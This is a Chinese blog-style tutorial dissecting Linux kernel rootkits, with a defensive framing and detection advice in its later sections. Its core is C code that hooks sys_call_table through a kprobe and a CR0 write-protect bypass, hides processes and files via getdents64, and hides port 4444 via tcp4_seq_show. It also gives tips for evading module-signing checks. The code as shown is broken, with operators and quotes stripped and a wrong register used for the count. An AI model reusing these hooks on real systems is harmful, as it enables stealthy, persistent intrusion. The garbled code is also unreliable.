Linux rootkit 源码剖析:内核模块劫持系统调用与隐藏技术

发布时间:2026/10/28 22:06:53

Linux rootkit 源码剖析:内核模块劫持系统调用与隐藏技术 简介这是一份面向Linux内核安全初学者与系统编程爱好者的rootkit源码学习资料聚焦内核模块隐藏、进程隐藏等基础功能的实现原理适合用于理解内核态代码如何与用户态工具配合完成隐蔽操作。压缩包共46个文件约36KB以C源码与头文件为核心辅以Makefile构建脚本、Python编写的控制端脚本、README说明文档及LaTeX论文素材另含Git版本管理相关文件整体结构紧凑便于按模块阅读与编译实验。目前已有369人学习关注说明该方向具备一定受众基础。读者可从中获取可编译运行的模块源码、隐藏功能的实现思路、构建与加载流程以及配套的命令行控制脚本适合作为内核安全入门练手项目也可在此基础上扩展更多隐藏能力加深对Linux内核机制与安全对抗的理解。1. Linux rootkit 源码到底在写什么从一次应急排查说起一台跑了三年的边缘节点CPU 占用常年 3% 以下某天突然稳定在 12% 左右top里却找不到对应进程。lsmod输出干净ps aux也没有可疑条目但netstat -antp里有个 ESTABLISHED 连接指向一个陌生 IPlsof查不到归属。这种「看得见现象、找不到主体」的状态基本就是内核态 rootkit 的典型表现。Linux rootkit 源码讲的就是这类通过可加载内核模块LKM或内核补丁劫持系统调用、隐藏进程与文件、维持持久化访问的底层代码。它属于内核安全与应急响应领域适合做主机入侵检测、内核模块审计、EDR 对抗研究的工程师。理解它的实现不是为了写攻击工具而是为了在排查时知道该看哪里、哪些命令的输出可能已经被篡改。2. 内核模块劫持系统调用的最小实现路径2.1 为什么 rootkit 偏爱 LKM 而不是直接改内核Linux 内核支持动态加载模块insmod一个.ko文件就能把代码注入内核空间不需要重新编译整个内核也不需要重启。这是 rootkit 最常用的载体。直接修改内核源码再编译动静太大目标机器上还得有对应的内核头文件实战中不现实。LKM 的优势在于编译依赖linux-headers-$(uname -r)目标机器上大概率已经装了加载后运行在内核态权限最高卸载后痕迹相对容易清理。但 LKM 也有硬伤。内核 5.7 之后kallsyms_lookup_name不再导出给模块使用很多老 rootkit 源码直接卡在这一步。常见做法是改用 kprobe 动态获取符号地址或者遍历sys_call_table所在的内存页。另一个问题是内核模块签名主流发行版默认开启CONFIG_MODULE_SIG_FORCE未签名的模块直接拒绝加载。所以研究 rootkit 源码第一步不是看它怎么隐藏而是看它怎么绕过加载限制。2.2 获取 sys_call_table 地址的三种可行方式sys_call_table是系统调用分发表劫持它就能替换任意系统调用的行为。但这个符号在kallsyms里默认不可见需要想办法拿到地址。第一种kprobe 方式适用于内核 5.7 以上#include linux/kprobes.h #include linux/module.h static struct kprobe kp { .symbol_name kallsyms_lookup_name }; static unsigned long (*kln)(const char *name); static int __init get_sct_init(void) { unsigned long *sct; int ret; ret register_kprobe(kp); if (ret 0) { pr_err(register_kprobe failed: %d\n, ret); return ret; } kln (void *)kp.addr; unregister_kprobe(kp); sct (unsigned long *)kln(sys_call_table); if (!sct) { pr_err(sys_call_table not found\n); return -ENOENT; } pr_info(sys_call_table at %px\n, sct); return 0; }register_kprobe把探针挂到kallsyms_lookup_name上kp.addr就是该函数的实际地址。拿到地址后直接调用就能查任意符号。注意kallsyms_lookup_name本身可能被内联某些内核版本上 kprobe 会失败这时需要换用kallsyms_on_each_symbol遍历。第二种暴力扫描内核内存。sys_call_table的特征是连续存放的指针数组每个元素指向__x64_sys_*函数。从0xffffffff80000000开始按页扫描找满足「连续多个元素都落在内核代码段」的地址。这种方式慢但通用缺点是可能误判需要加校验。第三种从/proc/kallsyms读。如果kptr_restrict为 0 且当前用户有权限直接cat /proc/kallsyms | grep sys_call_table就能看到。但生产环境通常kptr_restrict1普通用户看到的是全零。这种方式只适合在实验环境快速验证。2.3 劫持一个系统调用的完整代码骨架拿到sys_call_table后替换表项就是核心操作。以隐藏进程为例通常劫持sys_getdents64或sys_kill。下面是一个最小骨架#include linux/module.h #include linux/kernel.h #include linux/syscalls.h #include linux/dirent.h #include linux/uaccess.h static unsigned long *sct; static asmlinkage long (*orig_getdents64)(const struct pt_regs *); static asmlinkage long hook_getdents64(const struct pt_regs *regs) { long ret orig_getdents64(regs); struct linux_dirent64 __user *dirp; struct linux_dirent64 *kbuf, *cur; unsigned long offset 0; int fd regs-di; unsigned int count regs-si; if (ret 0) return ret; dirp (struct linux_dirent64 __user *)regs-si; kbuf kzalloc(ret, GFP_KERNEL); if (!kbuf) return ret; if (copy_from_user(kbuf, dirp, ret)) { kfree(kbuf); return ret; } cur kbuf; while (offset ret) { if (strstr(cur-d_name, hidden_proc)) { unsigned long reclen cur-d_reclen; memmove(cur, (char *)cur reclen, ret - offset - reclen); ret - reclen; continue; } offset cur-d_reclen; cur (struct linux_dirent64 *)((char *)kbuf offset); } if (copy_to_user(dirp, kbuf, ret)) ret -EFAULT; kfree(kbuf); return ret; } static int __init hook_init(void) { sct (unsigned long *)kallsyms_lookup_name(sys_call_table); if (!sct) return -ENOENT; orig_getdents64 (void *)sct[__NR_getdents64]; write_cr0(read_cr0() ~0x10000); // 关闭写保护 sct[__NR_getdents64] (unsigned long)hook_getdents64; write_cr0(read_cr0() | 0x10000); // 恢复写保护 return 0; } static void __exit hook_exit(void) { write_cr0(read_cr0() ~0x10000); sct[__NR_getdents64] (unsigned long)orig_getdents64; write_cr0(read_cr0() | 0x10000); } module_init(hook_init); module_exit(hook_exit); MODULE_LICENSE(GPL);write_cr0操作的是控制寄存器 CR0 的 WP 位第 16 位清零后内核允许写只读页。这是老方法内核 5.3 之后write_cr0被加固直接调用会触发警告甚至 panic。新做法是用set_memory_rw把sys_call_table所在页临时改为可写改完再set_memory_ro恢复。参数上__NR_getdents64是系统调用号x86_64 上是 217ARM64 上不同交叉编译时要用目标架构的头文件。hook_getdents64的逻辑是先调用原始函数拿到目录项拷贝到内核缓冲区遍历每个linux_dirent64发现名字匹配就memmove覆盖掉减少返回长度。这里有个坑d_reclen是变长的不能假设固定大小必须按每个条目自己的d_reclen推进。3. 隐藏进程、文件与端口的三种落地手法3.1 进程隐藏getdents64 与 kill 双路径只劫持getdents64能骗过ls、ps但骗不过kill。如果 rootkit 隐藏的进程还在跑用户kill -9 pid时sys_kill会检查 pid 是否存在如果进程被隐藏但 pid 还在kill会返回成功但实际没杀到或者返回 ESRCH。更彻底的做法是同时劫持sys_kill对特定 pid 返回-ESRCH让用户以为进程不存在。还有一种路径是劫持/proc的 inode 操作。/proc/pid目录的生成依赖proc_pid_readdir直接 hook 这个函数比 hookgetdents64更底层但兼容性差内核版本一变就崩。实战中getdents64方案最稳因为它的接口几十年没变。3.2 文件隐藏filldir 与 getdents 的取舍老内核用filldir回调新内核统一到getdents64。文件隐藏和进程隐藏代码结构几乎一样区别在于匹配的目录路径。通常只隐藏特定目录下的文件比如/etc/下的某个配置文件或者/tmp/下的载荷。匹配时要注意d_name是相对路径不含目录前缀所以需要先判断当前遍历的是哪个目录。可以在 hook 里通过current-fs-pwd或者传入的 fd 反查路径但开销大。简单做法是只匹配文件名不管目录缺点是可能误隐藏同名文件。3.3 端口隐藏hook tcp4_seq_shownetstat和ss读的是/proc/net/tcp这个文件由tcp4_seq_show生成。劫持这个函数在输出前过滤掉特定端口就能让端口在netstat里消失。实现上不是替换sys_call_table而是替换seq_operations结构里的show指针static struct seq_operations *tcp4_seq_ops; static int (*orig_tcp4_seq_show)(struct seq_file *, void *); static int hook_tcp4_seq_show(struct seq_file *seq, void *v) { struct inet_sock *isk; struct sock *sk v; if (v SEQ_START_TOKEN) return orig_tcp4_seq_show(seq, v); isk inet_sk(sk); if (ntohs(isk-inet_sport) 4444 || ntohs(isk-inet_dport) 4444) return 0; return orig_tcp4_seq_show(seq, v); }tcp4_seq_ops的地址通过kallsyms_lookup_name获取然后替换show字段。注意v可能是SEQ_START_TOKEN这是 seq_file 的起始标记必须放行否则整个文件读不出来。端口比较用ntohs转成主机字节序因为内核里存的是网络字节序。4. 编译、加载与排查rootkit 源码的避坑清单4.1 模块编译报错的五个高频原因现象make报error: implicit declaration of function kallsyms_lookup_name。原因内核 5.7 之后该符号不再导出。解决改用 kprobe 获取或降级到 5.4 内核做实验。现象insmod报Unknown symbol in module。原因模块依赖的符号在当前内核未导出。解决modinfo xxx.ko看依赖cat /proc/kallsyms | grep 符号确认是否存在。现象insmod报Operation not permitted。原因模块签名强制开启或 Secure Boot 拦截。解决实验环境关闭 Secure Boot或mokutil --disable-validation生产环境不要动。现象加载后系统卡死或 panic。原因write_cr0触发 WP 保护或 hook 函数里访问了非法地址。解决改用set_memory_rwhook 里所有用户态指针必须copy_from_user。现象rmmod报Module is in use。原因hook 后没恢复原函数指针或模块引用计数没减。解决exit函数里严格按加载逆序恢复module_put配对。4.2 排查被 rootkit 篡改的系统命令怀疑机器被植入 rootkit 时不要信目标机上的ps、ls、netstat它们可能已经被 hook。用静态编译的工具从外部挂载排查# 在干净机器上静态编译 busybox wget https://busybox.net/downloads/busybox-1.36.1.tar.bz2 tar xf busybox-1.36.1.tar.bz2 cd busybox-1.36.1 make defconfig sed -i s/^# CONFIG_STATIC.*/CONFIG_STATICy/ .config make -j$(nproc) # 把 busybox 拷到目标机 /tmp 下运行 ./busybox ps aux ./busybox netstat -antp静态 busybox 不依赖目标机的 libc也不走被 hook 的 glibc 封装能绕过一部分用户态劫持。但内核态的getdents64hook 它照样中招因为系统调用层被改了。更可靠的是从/proc直接读原始数据或者用crash工具分析内存转储。另一个手段是对比/proc/kallsyms和模块列表。lsmod可能被 hook 隐藏模块直接读/sys/module/目录ls /sys/module/ | while read m; do if [ ! -d /sys/module/$m/sections ]; then echo suspicious: $m fi done正常模块在/sys/module/name/sections下有节区信息rootkit 模块如果没正确初始化这里可能是空的。4.3 内核版本与 API 兼容性对照内核版本kallsyms_lookup_namewrite_cr0sys_call_table 获取4.x导出可用直接调用5.0-5.6导出可用直接调用5.7-5.15不导出加固kprobe 或扫描6.x不导出不可用kprobe set_memory_rw这张表是血泪经验跨版本移植 rootkit 源码时第一个要看的就是它。很多网上流传的代码是 4.x 时代的直接拿到 6.x 上编译报错能堆满一屏。5. 从源码研究到检测把攻击手法变成防御规则研究 rootkit 源码的最终价值是知道怎么检测它。上面讲的每种隐藏手法都有对应的检测思路。进程隐藏检测对比/proc目录数量和ps输出数量。ls /proc | grep -E ^[0-9]$ | wc -l得到的是内核实际存在的进程数ps aux | wc -l得到的是用户态看到的。两者差超过阈值就有问题。更精确的是读/proc/pid/stat的starttime字段和ps输出的启动时间对比被隐藏的进程在/proc里还在只是ps不显示。系统调用表完整性检测在干净内核上记录sys_call_table每个表项的地址范围运行时定期校验。如果某个表项指向的地址不在内核代码段0xffffffff81000000到0xffffffffc0000000之间说明被替换了。这个检查可以做成内核模块也可以从/dev/kmem读如果可用。模块列表交叉验证lsmod读的是/proc/modulesrootkit 可以 hook 这个文件。直接遍历/sys/module/目录对比两者差异。另外检查每个模块的holders和initstate异常模块的initstate可能是live但holders为空。一个我自己的习惯在每台生产机器上部署前先跑一遍strace -f -e tracegetdents64 ls /记录正常的系统调用序列。之后定期对比如果getdents64的返回条目数突然减少或者openat打开的文件在getdents64里看不到就触发告警。这个方法笨但能抓到大部分基于目录项过滤的隐藏手法。内核 rootkit 的攻防本质是信息差攻击者知道哪些接口被 hook 了防御者不知道。把源码读一遍把每个 hook 点对应的检测方法记下来这个信息差就抹平了。希望帮到你。本文还有配套的精品资源点击获取
延伸阅读

更多相关文章

2026/10/28 22:06:53

ABB C# SDK深度解析:Mastership机制与RAPID通信原理

简介:本资源是面向工业自动化领域开发者与机器人工程师的ABB机器人C#二次开发SDK权威说明文档,聚焦于利用C#语言实现对ABB工业机器人的高级控制、运动管理、I/O通信及控制器应用定制,适用于产线集成、仿真调试与真实设备部署等典型场景。文档…

2026/10/28 22:01:51

微信小程序web-view内嵌H5分享功能完整实践与避坑指南

简介:在微信小程序开发中,通过web-view内嵌H5页面很常见,但分享场景常踩坑:卡片发出去后参数丢失、页面回不到分享时的视图,标题和简介也一片空白。这套源码正是针对这一痛点设计,面向需要快速接入web-view…

2026/10/28 22:01:51

PS5 BootROM密钥泄露与硬件安全架构分析

1. PS5 BootROM泄露事件全解析2023年初,黑客组织在互联网上公开了PS5的BootROM密钥和完整调试工具链,这枚被索尼严密保护了三年多的"硅基密钥"最终失守。作为PlayStation系统的硬件级信任锚点,BootROM的泄露直接动摇了PS5整个安全体…

2026/10/28 23:33:11

企业AI大脑构建指南:技术架构与落地实践

1. 企业AI大脑的本质解析企业AI大脑本质上是一个集成了多种人工智能技术的决策支持系统。它通过整合机器学习、自然语言处理、知识图谱等技术,构建起企业级的智能中枢。不同于单点AI应用,企业AI大脑具备三个核心特征:全局数据融合&#xff1a…

2026/10/28 23:33:11

RISC-V Verilog仿真:Makefile与VCS编译调试实战指南

简介:这份资源面向计算机体系结构学习者、FPGA/IC验证初学者以及嵌入式开发人员,提供一套完整的RISC-V处理器开发与仿真环境,帮助读者从汇编程序、硬件描述到仿真验证全流程理解开源指令集架构的落地方式。压缩包共22个文件,约159…

2026/10/28 23:33:11

C#中YOLO推理的预处理与后处理实践指南

1. 项目概述:C#与YOLO推理中的预处理/后处理陷阱在计算机视觉领域,YOLO系列算法因其出色的实时检测性能而广受欢迎。作为一名长期使用C#进行工业视觉开发的工程师,我发现90%的YOLO推理结果异常问题都源于同一个环节——预处理(Pre…

2026/10/28 23:33:11

智能体开发必读:从成本到生态,算清AI Agent六笔账

这几天技术圈里最热闹的物种,非智能体(AI Agent)莫属。招聘平台上挂着“智能体工程师”的岗位,技术群里飘着Coze和Dify的截图,就连做财务的朋友都在问“AI智能体能不能帮我生成现金流报表”。大家嘴上都在聊智能体&…

2026/10/28 23:33:11

千笔与万方智搜AI:学术写作工具深度评测与实战技巧

1. 学术写作工具对决:千笔与万方智搜AI深度评测作为一名在学术圈摸爬滚打多年的研究者,我深知论文写作的痛苦。从开题报告到最终定稿,每个环节都可能遭遇导师的"重写"暴击。最近两款国产学术AI工具——千笔专业学术智能体和万方智搜…

2026/10/28 23:28:10

MGCM模块:多尺度双向注意力在视觉Transformer中的应用

1. 项目概述:MGCM模块的核心价值这个MGCM模块(Multi-scale Global-local Complementary Module)本质上是一个即插即用的Transformer改进组件,它解决了传统视觉Transformer在捕捉多尺度特征时的固有缺陷。我在实际部署中发现&#…

2026/10/28 14:42:12

全国计算机二级C语言真题PDF高效刷题指南

简介:这份PDF是全国计算机二级C语言考试的试题与答案解析,专为备考二级C语言的考生准备。内容涵盖C语言特点与设计理念、程序基本组成单位、main函数执行流程、函数嵌套调用规则、标识符命名规范、整型实型字符型数据类型、八进制十六进制数合法形式、运…

2026/10/28 15:28:56

requests+BeautifulSoup:爬虫抓取h1标题的入门实战指南

简介:一份以实战为导向的Python爬虫入门资源,面向具备基本编程基础、希望快速掌握网络数据抓取的初学者,可解决从零编写简单爬虫的常见困惑。实例以requests库发送HTTP请求、BeautifulSoup解析HTML文档,完整演示从网页中提取 标题…

2026/10/28 3:32:29

递推最小二乘参数辨识MATLAB编程:二阶系统与渐消记忆实现

简介:这是一篇面向控制系统、信号处理与机器学习等领域学习者的最小二乘参数辨识程序说明文档。资源共包含一个docx格式文档,压缩包大小七十八KB,内容围绕递推最小二乘算法和渐消记忆最小二乘算法展开:先构造一个极点位于单位圆内…

2026/10/28 0:02:13

Python股票自动交易系统源码解析:从行情获取到风控的完整链路

简介:这份资源是面向高校计算机、金融相关专业毕业设计场景的完整项目源码包,主题为基于Python的股票自动交易系统,适合需要完成毕设选题、课程设计或自学金融量化交易开发的学生与开发者参考。压缩包共收录687个文件,整体约14.93…

2026/10/28 0:02:13

视酷酷信IM源码部署指南:Java 17+MySQL 8.0.33实战配置

简介:这是一套2024年亲测可部署的视酷酷信IM即时通讯系统源码,面向具备Java、OC、C#及Vue开发能力的技术人员,解决私有化即时通讯平台快速搭建与二次定制需求,尤其适用于需集成商城、保障数据主权的中小型企业或独立开发者。资源共…

2026/10/28 0:02:13

Python爬取百度迁徙数据:接口解析、批量采集与避坑指南

简介:这份资源是一个用Python爬取百度迁徙数据的脚本压缩包,面向具备Python基础、希望入门网络爬虫与数据解析的开发者,解决按日期获取全国热门城市人口迁徙数据的问题。包内共1个文件,为单个py脚本,压缩包约1KB&#…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑